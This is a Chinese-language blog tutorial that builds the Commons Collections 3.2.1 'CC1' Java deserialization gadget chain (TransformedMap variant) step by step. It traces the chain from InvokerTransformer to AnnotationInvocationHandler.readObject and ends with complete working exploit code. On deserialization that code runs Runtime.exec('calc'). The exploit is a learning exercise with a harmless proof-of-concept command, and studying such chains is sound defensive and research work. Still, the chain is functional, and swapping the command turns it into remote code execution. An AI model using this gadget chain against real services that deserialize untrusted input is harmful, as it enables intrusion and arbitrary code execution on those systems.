CC1链(TransformedMap版)

红烧花园宝宝:https://lxu2n.github.io/posts/9e8a5add/

白日梦组长视频:https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1387.homepage.video_card.click

文章:https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/

环境搭建

新建一个Java项目,使用JDK8u65、Maven3.6.3

image-20251026095523827

image-20251026100433147

在项目根目录中的pom.xml中添加对CC1链的依赖包

1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image-20251026101537993

然后打开maven下载源代码

image-20251026101814587

成功之后可以在外部库中看到导入的依赖包

image-20251026102308405

可以importCC包验证一下,没有报错就是成功了

1
import org.apache.commons.collections.functors.InvokerTransformer;

image-20251026102423705

然后要修改 sun 包,将.class文件转化为.java文件

先下载openJDK8u65,然后放一边

然后找到之前下载的jdk8u65,将其中的src.zip解压缩

image-20251026103640314

在下载的openJDK8u65中找到sun包复制到src目录,sun包的路径是:jdk-7fcf35286d52\jdk-7fcf35286d52\src\share\classes

image-20251026104350271

image-20251026104441058

打开项目结构中的SDK,在源路径中将src导入进去

image-20251026104829396

可以跑个程序验证一下,没报错就是成功

1
2
3
4
5
6
7
8
import org.apache.commons.collections.functors.InvokerTransformer;

public class test {
public static void main(String[] args) throws Exception{
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
}
}

image-20251026105938379

Common-Collections介绍

大佬文章:闪烁之狐

简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充,在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充

包结构

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

攻击链分析

反序列化的攻击思路

在入口类需要一个readObject方法,在结尾需要一个能够命令执行的方法,中间通过链子引导过去,从尾部出发去寻找头

先找到一个可以利用的类(调用可以执行命令的方法A),然后后再去找调用了这个方法A的方法B,然后继续找调用了方法B的方法C,就这样一直找,直到找到了readObject方法,对其重写

image-20251026111809447

寻找实现类

因为Runtime类是不能序列化的,所以要使用反射才能调用类中的getRuntime方法、exec方法

image-20251027165224080

Transformer接口,点击选中Transformer,快捷键ctrl+alt+B查看实现接口的类,可以发现:ChainedTransformerConstantTransformerInvokerTransformer这三个类

image-20251027165806858

InvokerTransformer类

刚好在InvokerTransformer类中存在一个反射调用任意类的transform方法,可以作为链子终点调用Runtime类中的方法

image-20251026121217198

ChainedTransformer类

ChainedTransformer类中也可以找到一个transform方法,有个数组iTransformers存储对象,可以依次调用每个对象的transform方法,将前一个的输出作为后一个的输入

image-20251027170613576

ConstantTransformer类

ConstantTransformer类中的transform方法会忽略输入的参数,始终返回预设的常量iConstant

image-20251027171625462

可以通过构造函数设置iConstant的值,使transform方法返回指定的对象

image-20251027171724083

攻击链构造

第一步

通过刚才分析已经明确了要使用InvokerTransformertransform方法的反射机制调用Runtime类的方法来构造命令执行

回顾一下如何构造普通反射:

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.Method;

public class Reflect {
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Method m = c.getDeclaredMethod("getRuntime",null);
m.setAccessible(true);
Runtime r = (Runtime) m.invoke(null,null);
r.exec("calc");
}
}

image-20251027174637969

先看看InvokerTransformer的构造函数:

image-20251027180201899

有三个参数:

  • **methodName:**要调用的目标方法,这里可以传入getDeclaredMethod从而可以获得Runtime类的任意方法
  • **paramTypes:**目标方法的参数类型数组,这里就是getDeclaredMethod的参数类型数组
    • 查看Class类中的getDeclaredMethod方法:
    • image-20251027182111984
    • 所以这里填入new Class[]{String.class,Class[].class}
  • **args:**实际传给目标方法的参数,这里是要将getRuntime作为参数传给getDeclaredMethod方法,按照参数类型可以写为new Object[]{"getRuntime",null}

所以获取Runtime的实例代码:

1
2
Class c = Runtime.class;
Method invokerTransformer = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);

然后是调用执行方法:

查看Method方法的invoke方法

image-20251027183718903

调用Methodinvoke方法

1
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(invokerTransformer);

最后就是调用Runtimeexec方法执行命令

1
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

完整的使用transform的代码:

1
2
3
4
5
6
7
8
9
10
11
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1Test{
public static void main(String[] args) {
Class c = Runtime.class;
Method invokerTransformer = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(invokerTransformer);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}

image-20251027203708923

然后ChainedTransformer类的transform的方法就可以帮我们进行一个遍历,所以就可以写成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1Test{
public static void main(String[] args) {
Class c = Runtime.class;
Transformer[] t = new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);
chainedtransformer.transform(c);
}
}

image-20251027203838786

第二步

在第一步中是我自己直接调用的ChainedTransformer中的transform方法,所以现在要开始向上找

右击transform方法,点击查找用法

image-20251027211350609

然后可以找到checkSetValue方法,在调用这个方法后可以调用valueTransformertransform方法,如果令valueTransformerchainedtransformer就可以往下衔接到第一步的chainedtransformer.transform(c);这个调用,就是valueTransformer.transform(c);

image-20251027212512858

但是TransformedMap这个类的构造函数是protected

image-20251027212721022

就要去找哪里可以实例化这个对象,可以找到decorate方法可以return一个实例化对象

image-20251027212857708

所以可以将decorate方法返回的实例化对象传给checkSetValue方法

这里要传一个map,就先实例化一个

1
2
3
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> decorate = TransformedMap.decorate(map,null,chainedtransformer);

这里就可以直接将valueTransformer参数部分传入chainedtransformer

第三步

继续向上找哪里调用了checkSetValue方法,可以发现在AbstractInputCheckedMapDecorator类中的MapEntry类中的setvalue方法中调用了

image-20251027235239812

这里就可以使parentTransformedMap,就可以调用到TransformedMapcheckSetValue

这里的MapEntry类是AbstractInputCheckedMapDecorator类的一个副类,然后要去找哪里有实例化的MapEntry,可以发现要使用entrySet方法

image-20251028194557708

这里的this就是parent,意思是谁调用了entrysetthis就是谁

然后看其所在的类是一个抽象类

image-20251028194710118

这就要看它的子类了,使用快捷键ctrl+alt+B,可以看到有TransformedMap,这就很nice了,就可以在TransformedMap调用entryset,然后this就是TransformedMap,所以parent也就是TransformedMap了,可以衔接上了

image-20251028194845538

这里可以写个demo来尝试触发一下,可以遍历decorate这个TransformedMap中的所有键值对条目,用entry.setValue(c)触发Transformer链执行

1
2
3
for(Map.Entry entry:decorate.entrySet()){
entry.setValue(c);
}

for循环遍历decorate.entrySet(),这里decorate是一个经过TransformedMap.decorate()包装的Map对象,entrySet方法会返回包含有所有键值对的Set集合,这里的map中只有一个键值对,就是map.put("key","value");,所以decorate也就包含这一个键值对,在遍历的时候就会获取到这个唯一的Map.Entry对象,通过entry.setValue(c)触发ChainedTransformer的执行

image-20251104210719751

第四步

继续找谁调用了setValue,这里有个小问题卡了挺久的,就是之前安装的JDK包有点问题,少了点内容,导致在AnnotationInvocationHandler中一直没有找到想要的setValue,看文章对比一看发现少了点代码

image-20251104171845504

我的缺少的:

image-20251104172128943

正常的:

image-20251104172157712

然后又重新去网上找了个sun包:https://github.com/frohoff/jdk8u-jdk/tree/master/src/share/classes/sun

image-20251104173608599

重新配好环境后就可以看到在AnnotationInvocationHandler中调用了setValue方法,并且还是在readObject方法中的

image-20251104173757552

这里有个for循环可以进行一个遍历,就像前面的demo一样,这里for循环就传入decorate即可

但是有两个问题

首先是在for循环中有两个if条件要满足的

image-20251105001249986

其次,在之前的demo中,这里的setValue是要传Runtime的对象,但是在实际中的是AnnotationTypeMismatchExceptionProxy这个对象

image-20251105000536156

image-20251105000919390

这俩问题先放着,在后面解决,先去看这个类的构造函数

image-20251104212458207

这里接收两个对象,一个是Class类的type参数,一个是Map类的memberValues参数,这里第二个参数就可以将构造好的decorate放进去,然后看第一个参数,是继承了Annotation的泛型,Annotation是个注解,注解就像是Override这样的

image-20251104215716510

这里看Target这个注解,这里就有个值是value(不是函数)

image-20251104215807399

然后开始尝试实例化这个类,这时注意到这个类不是public的,这里就要利用反射来获取

1
2
3
4
Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class,decorate);

然后回头去看前面遗留的两个问题,先下断点调试一遍,在开始readObject下一个,然后在第一个if下一个,看看能不能进入if

image-20251105002729373

开始这里的type就是传入注解Override

image-20251105003042558

image-20251105003103586

然后调试到下面这里时就会获取到Override的成员变量

image-20251105003218923

不过之前看到了,实际上Override是没有成员变量的

image-20251105003642585

然后memberValue就是键值对,String name = memberValue.getKey();就是获取键值对的key,然后Class<?> memberType = memberTypes.get(name);就是会在memberTypes中查找这个key,最后发现查找到的是空的,memberType就是null了,所以就进不去第一个if里,也就不能达到想要的setValue方法

这里就需要改一下,从上面调试可以发现,会先获取传入的注解的成员方法,然后会在memberTypes查找这个成员方法,所以首先是要找一个有成员方法的Class注解,之前看到了Target是有一个成员方法value

image-20251105004504428

所以把Override改成Target

1
Object o = declaredConstructor.newInstance(Target.class,decorate);

再重新调试一次

image-20251105005026887

然后就会发现这里获取到的键值对的键是key,因为map.put("key","value");传入的就是key,而在Target注解中是没有key的,所以此时memberType还是null

所以map.put("key","value");这里也要改一下,其中的key要改成成员方法的名字value,这样才能查找到

1
map.put("value","value");

重新调试

image-20251105005425010

可以看到此时获取到的键值对的键是valuememberType不再是null了,可以成功通过第一个if判断,第二个if是判断能不能强转,这里是肯定不能强转的,所以第二个if判断也可以通过

然后就到了想要的setValue方法了,F7步入跟进去

image-20251105010017257

image-20251105010121049

这里的valueTransformer.transform(value);实际上就是chainedtransformer.transform(Runtime.class);这个形式,这里就要使valueTransformer.transform(value);valueRuntime.class,但是在调试中可以看到此时的value是下面这个代理

image-20251105010519358

就是AnnotationTypeMismatchExceptionProxy

image-20251105010640835

回想在攻击链分析时还看到一个类:ConstantTransformer,在这个类中的transform方法不管接收什么输入,都会返回预设的常量的值

所以在最后只要调用ConstantTransformer类的transform方法,就可以把AnnotationTypeMismatchExceptionProxy改成Runtime.class

image-20251105011437925

调试一下

image-20251105011833988

到这里后,接下来就会调用ConstantTransformertransform方法,这里传入的是一个对象,就是AnnotationTypeMismatchExceptionProxy

image-20251105012034922

然后就可以看到强制返回的常量iConstantRuntime

image-20251105011710285

最后对象就变成了Runtime类,就很舒服了

image-20251105012129697

最后加上序列化和反序列化的部分

1
2
3
4
5
6
7
8
9
public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}

至此完整的攻击链就构造好了

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.bag.TransformedBag;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test{
public static void main(String[] args) throws Exception{
Class c = Runtime.class;

// Method invokerTransformer = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(invokerTransformer);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);
// chainedtransformer.transform(c);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> decorate = TransformedMap.decorate(map,null,chainedtransformer);

// for(Map.Entry entry:decorate.entrySet()){
// entry.setValue(c);
// }

Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class,decorate);

serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}

}

CC1链(TransformedMap版)
https://yschen20.github.io/2025/11/05/CC1链(TransformedMap版)/
作者
Suzen
发布于
2025年11月5日
更新于
2026年1月7日
许可协议